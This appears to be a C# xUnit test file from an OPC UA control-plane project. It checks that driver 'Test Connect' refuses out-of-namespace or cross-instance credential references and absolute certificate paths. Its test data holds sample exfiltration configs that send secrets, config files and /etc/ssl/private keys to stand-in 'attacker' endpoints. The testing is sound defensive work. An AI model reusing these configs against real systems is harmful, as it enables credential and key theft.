63331b0416
#835: inside one driver namespace, a secret:<ns>/<X>/... reference whose first segment names ANOTHER existing same-type driver instance (id or name, case-insensitive; another-instance match beats an own-name match, so renaming one's driver after a victim's unlocks nothing) is refused at save (DriverConfigSaveGate.ValidateAsync), deploy (CredentialReferenceOtherInstance, Heidenhain included), Test Connect (TestDriverConnect.DriverInstanceId, ConfigDb read off the mailbox) and live browse (BrowserSessionService, fail-closed without a ConfigDb). One rule: DriverCredentialPolicy.DescribeOtherInstanceProblems + DriverInstanceIdentities. Shared names and the driver's own id stay valid; env: is not instance-scoped. Running drivers are unchanged (warn-only window: the deploy gate and the upgrade preflight / /raw banner list them). #836: OpcUaClient UserCertificatePath is a relative path inside Drivers:OpcUaClient:UserCertificateDirectory (default <LocalAppData>/OtOpcUa/pki/user-certificates). Syntactic rule (CredentialFilePaths, a DriverCredentialPolicy path field) at every #815 seam; at load time ResolveSecretRefsAsync joins, canonicalises and requires lexical AND link-resolved containment before the PFX password is resolved, and LoadCertificate refuses an unresolved path. A running driver's pre-#836 absolute path keeps loading with a rate-limited warning (LegacyCredentialReferenceTracker.ReportPath). Co-Authored-By: Claude <noreply@anthropic.com>
145 lines
7.4 KiB
C#
145 lines
7.4 KiB
C#
using Akka.Actor;
|
|
using Shouldly;
|
|
using Xunit;
|
|
using ZB.MOM.WW.OtOpcUa.Commons.Messages.Admin;
|
|
using ZB.MOM.WW.OtOpcUa.ControlPlane.AdminOperations;
|
|
using ZB.MOM.WW.OtOpcUa.ControlPlane.Tests.Harness;
|
|
using ZB.MOM.WW.OtOpcUa.Core.Abstractions;
|
|
|
|
namespace ZB.MOM.WW.OtOpcUa.ControlPlane.Tests;
|
|
|
|
/// <summary>
|
|
/// lmxopcua#815: Test Connect with a credential reference outside the driver's namespace is refused BEFORE any
|
|
/// probe runs — the probe is the seam that would resolve the reference (store / environment) and send the value
|
|
/// to the author-chosen endpoint, so "the probe was never invoked" is "nothing was read".
|
|
/// </summary>
|
|
public sealed class AdminOperationsActorCredentialScopeTests : ControlPlaneActorTestBase
|
|
{
|
|
[Theory]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:ConnectionStrings__ConfigDb"}}""")]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:MX_API_KEY"}}""")]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:ServerHistorian__ApiKey"}}""")]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"file:appsettings.json"}}""")]
|
|
[InlineData(DriverTypeNames.OpcUaClient, """{"EndpointUrl":"opc.tcp://attacker:4840","Password":"secret:otopcua/historian/api-key"}""")]
|
|
[InlineData(DriverTypeNames.Heidenhain, """{"Access":{"InspectPassword":"secret:galaxy/main/apikey"},"Devices":[{"Host":"attacker"}]}""")]
|
|
public void Out_of_namespace_reference_never_reaches_the_probe(string driverType, string config)
|
|
{
|
|
var probe = new RecordingProbe(driverType);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(driverType, config, 5, Guid.NewGuid()));
|
|
|
|
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
|
|
reply.Ok.ShouldBeFalse();
|
|
reply.Message.ShouldNotBeNull().ShouldContain("Test Connect refused");
|
|
reply.Message.ShouldContain("lmxopcua#815");
|
|
probe.Calls.ShouldBe(0);
|
|
}
|
|
|
|
/// <summary>Positive control: a namespaced reference does reach the probe (the refusal is not blanket).</summary>
|
|
[Fact]
|
|
public void A_namespaced_reference_reaches_the_probe()
|
|
{
|
|
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(
|
|
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://gw:5001","ApiKeySecretRef":"secret:galaxy/main/apikey"}}""", 5, Guid.NewGuid()));
|
|
|
|
ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken).Ok.ShouldBeTrue();
|
|
probe.Calls.ShouldBe(1);
|
|
}
|
|
|
|
/// <summary>
|
|
/// lmxopcua#835: a reference naming ANOTHER instance's secret never reaches the probe, whether the caller names
|
|
/// its own driver or not (a null owner — a not-yet-created driver — is the stricter case).
|
|
/// </summary>
|
|
[Theory]
|
|
[InlineData("DRV-evil")]
|
|
[InlineData(null)]
|
|
public void A_reference_naming_another_instances_secret_never_reaches_the_probe(string? ownerId)
|
|
{
|
|
var dbName = Guid.NewGuid().ToString("N");
|
|
var factory = NewInMemoryDbFactory(dbName);
|
|
SeedGalaxyDrivers(factory);
|
|
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(
|
|
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"secret:galaxy/Victim/apikey"}}""",
|
|
5, Guid.NewGuid(), ownerId));
|
|
|
|
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
|
|
reply.Ok.ShouldBeFalse();
|
|
reply.Message.ShouldNotBeNull().ShouldContain("Test Connect refused");
|
|
reply.Message.ShouldContain("lmxopcua#835");
|
|
probe.Calls.ShouldBe(0);
|
|
}
|
|
|
|
/// <summary>Positive control: the owner's own secret (and a shared one) does reach the probe.</summary>
|
|
[Theory]
|
|
[InlineData("secret:galaxy/DRV-victim/apikey")]
|
|
[InlineData("secret:galaxy/shared-gw/apikey")]
|
|
public void The_owners_own_or_a_shared_secret_reaches_the_probe(string reference)
|
|
{
|
|
var factory = NewInMemoryDbFactory();
|
|
SeedGalaxyDrivers(factory);
|
|
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(
|
|
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://gw:5001","ApiKeySecretRef":"REF"}}""".Replace("REF", reference),
|
|
5, Guid.NewGuid(), "DRV-victim"));
|
|
|
|
ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken).Ok.ShouldBeTrue();
|
|
probe.Calls.ShouldBe(1);
|
|
}
|
|
|
|
/// <summary>lmxopcua#836: an absolute OpcUaClient user-certificate path never reaches the probe.</summary>
|
|
[Fact]
|
|
public void An_absolute_user_certificate_path_never_reaches_the_probe()
|
|
{
|
|
var probe = new RecordingProbe(DriverTypeNames.OpcUaClient);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(
|
|
DriverTypeNames.OpcUaClient,
|
|
"""{"EndpointUrl":"opc.tcp://attacker:4840","AuthType":"Certificate","UserCertificatePath":"/etc/ssl/private/host.pfx"}""",
|
|
5, Guid.NewGuid()));
|
|
|
|
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
|
|
reply.Ok.ShouldBeFalse();
|
|
reply.Message.ShouldNotBeNull().ShouldContain("lmxopcua#836");
|
|
probe.Calls.ShouldBe(0);
|
|
}
|
|
|
|
private static void SeedGalaxyDrivers(Microsoft.EntityFrameworkCore.IDbContextFactory<ZB.MOM.WW.OtOpcUa.Configuration.OtOpcUaConfigDbContext> factory)
|
|
{
|
|
using var db = factory.CreateDbContext();
|
|
db.DriverInstances.Add(new ZB.MOM.WW.OtOpcUa.Configuration.Entities.DriverInstance
|
|
{
|
|
DriverInstanceId = "DRV-victim", ClusterId = "c", Name = "Victim", DriverType = DriverTypeNames.Galaxy, DriverConfig = "{}",
|
|
});
|
|
db.DriverInstances.Add(new ZB.MOM.WW.OtOpcUa.Configuration.Entities.DriverInstance
|
|
{
|
|
DriverInstanceId = "DRV-evil", ClusterId = "c", Name = "Evil", DriverType = DriverTypeNames.Galaxy, DriverConfig = "{}",
|
|
});
|
|
db.SaveChanges();
|
|
}
|
|
|
|
private sealed class RecordingProbe(string driverType) : IDriverProbe
|
|
{
|
|
private int _calls;
|
|
|
|
public int Calls => Volatile.Read(ref _calls);
|
|
|
|
public string DriverType => driverType;
|
|
|
|
public Task<DriverProbeResult> ProbeAsync(string configJson, TimeSpan timeout, CancellationToken ct)
|
|
{
|
|
Interlocked.Increment(ref _calls);
|
|
return Task.FromResult(new DriverProbeResult(true, null, TimeSpan.Zero));
|
|
}
|
|
}
|
|
}
|